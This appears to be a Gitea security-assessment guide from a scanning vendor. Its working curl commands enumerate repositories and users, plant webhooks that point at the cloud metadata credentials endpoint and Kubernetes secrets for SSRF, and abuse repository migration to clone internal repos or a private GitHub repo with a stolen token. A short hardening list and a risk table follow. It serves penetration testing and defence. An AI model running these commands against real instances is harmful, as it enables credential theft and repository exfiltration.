Gitea is a lightweight, self-hosted Git service widely used by organizations seeking a GitHub alternative with on-premise control. Its security concerns include: webhook callbacks that make HTTP requests from the Gitea server — enabling SSRF to probe internal services including cloud metadata endpoints, the repository migration feature that can clone from internal Git servers or HTTP endpoints on the internal network, OAuth application client secrets visible to application owners enabling persistent token issuance, the Gitea API returning repository metadata without authentication when registration is open, and admin API endpoints that with a leaked admin token allow full instance takeover. This guide covers systematic Gitea security assessment.
# Gitea default port: 3000 (HTTP), also commonly at 80/443
# API available at /api/v1/
# Check Gitea version and instance info
curl -s http://gitea.example.com:3000/api/v1/version 2>/dev/null | python3 -m json.tool
# Returns {"version":"1.21.x"} — check for known CVEs
# Enumerate public repositories (no auth required)
curl -s "http://gitea.example.com:3000/api/v1/repos/search?limit=50" 2>/dev/null | \
python3 -c "
import json,sys
r = json.load(sys.stdin)
repos = r.get('data',[])
print(f'Public repos: {len(repos)}')
for repo in repos:
print(f\" {repo.get('full_name','?')} private={repo.get('private',False)}\")
# Check if private repos appear in search results
"
# Enumerate all users (information disclosure)
curl -s "http://gitea.example.com:3000/api/v1/admin/users?limit=50" \
-H "Authorization: token ${GITEA_TOKEN:-}" 2>/dev/null | \
python3 -c "
import json,sys
try:
users = json.load(sys.stdin)
for u in users:
print(f\"User: {u.get('login','?')} email: {u.get('email','?')} admin: {u.get('is_admin',False)}\")
except:
print('No admin access')
"
# Check registration is open (enables account creation for further testing)
curl -s "http://gitea.example.com:3000/user/sign_up" 2>/dev/null | \
grep -i "registration" | head -3
# Gitea webhooks make HTTP POST from the Gitea server to the configured URL
# If the Gitea server has access to internal network, this enables SSRF
# Create a webhook pointing to cloud metadata service (requires repo access)
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/org/repo/hooks" \
-H "Authorization: token ${GITEA_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"type": "gitea",
"config": {
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"content_type": "json"
},
"events": ["push"],
"active": true
}' 2>/dev/null | python3 -m json.tool | head -5
# Trigger the webhook by pushing a commit
git -C /tmp/test-repo commit --allow-empty -m "probe" && \
git -C /tmp/test-repo push origin main 2>/dev/null
# Test webhook to internal Kubernetes API
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/org/repo/hooks" \
-H "Authorization: token ${GITEA_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"type": "gitea",
"config": {
"url": "https://kubernetes.default.svc.cluster.local/api/v1/secrets",
"content_type": "json"
},
"events": ["push"],
"active": true
}' 2>/dev/null | head -3
# Gitea migration clones from an external Git URL
# If migration is not restricted, it can reach internal services
# Migrate from internal Git server (bypasses network controls)
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/migrate" \
-H "Authorization: token ${GITEA_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://internal-gitlab.company.internal/secret-project.git",
"repo_name": "cloned-secret",
"description": "Migration test",
"private": true,
"uid": 1
}' 2>/dev/null | python3 -m json.tool | head -10
# If created, Gitea cloned the internal repo — bypasses VPN/network controls
# Migrate using GitHub/GitLab with auth tokens to exfiltrate private repos
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/migrate" \
-H "Authorization: token ${GITEA_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://github.com/target-org/private-repo.git",
"auth_token": "ghp_stolentoken1234567890",
"repo_name": "exfil",
"private": true,
"uid": 1
}' 2>/dev/null | head -5
REGISTER_EMAIL_CONFIRM = true or DISABLE_REGISTRATION = trueALLOWED_HOST_LIST in app.ini webhook sectionALLOWED_DOMAINS to prevent internal network access| Security Test | Method | Risk |
|---|---|---|
| Webhook SSRF to metadata service | Create webhook with http://169.254.169.254/... — trigger push event | Critical |
| Migration clones from internal Git servers | POST /api/v1/repos/migrate with internal Git URL | High |
| Unauthenticated repository enumeration | GET /api/v1/repos/search — lists repos without auth | High |
| Admin API accessible with leaked token | GET /api/v1/admin/users with admin token — full user management | High |
| OAuth client secret visible to app owner | Settings > Applications > OAuth2 Apps — client secret readable | Medium |
| Open registration allows unauthorized account creation | GET /user/sign_up — registration page accessible | Medium |
Ironimo tests Gitea deployments for webhook SSRF enabling internal network access, repository migration abuse for unauthorized data exfiltration, unauthenticated API enumeration of repositories and users, admin API access via leaked tokens, OAuth application client secret exposure, open registration enabling unauthorized account creation, and API token over-privilege assessments.
Start free scan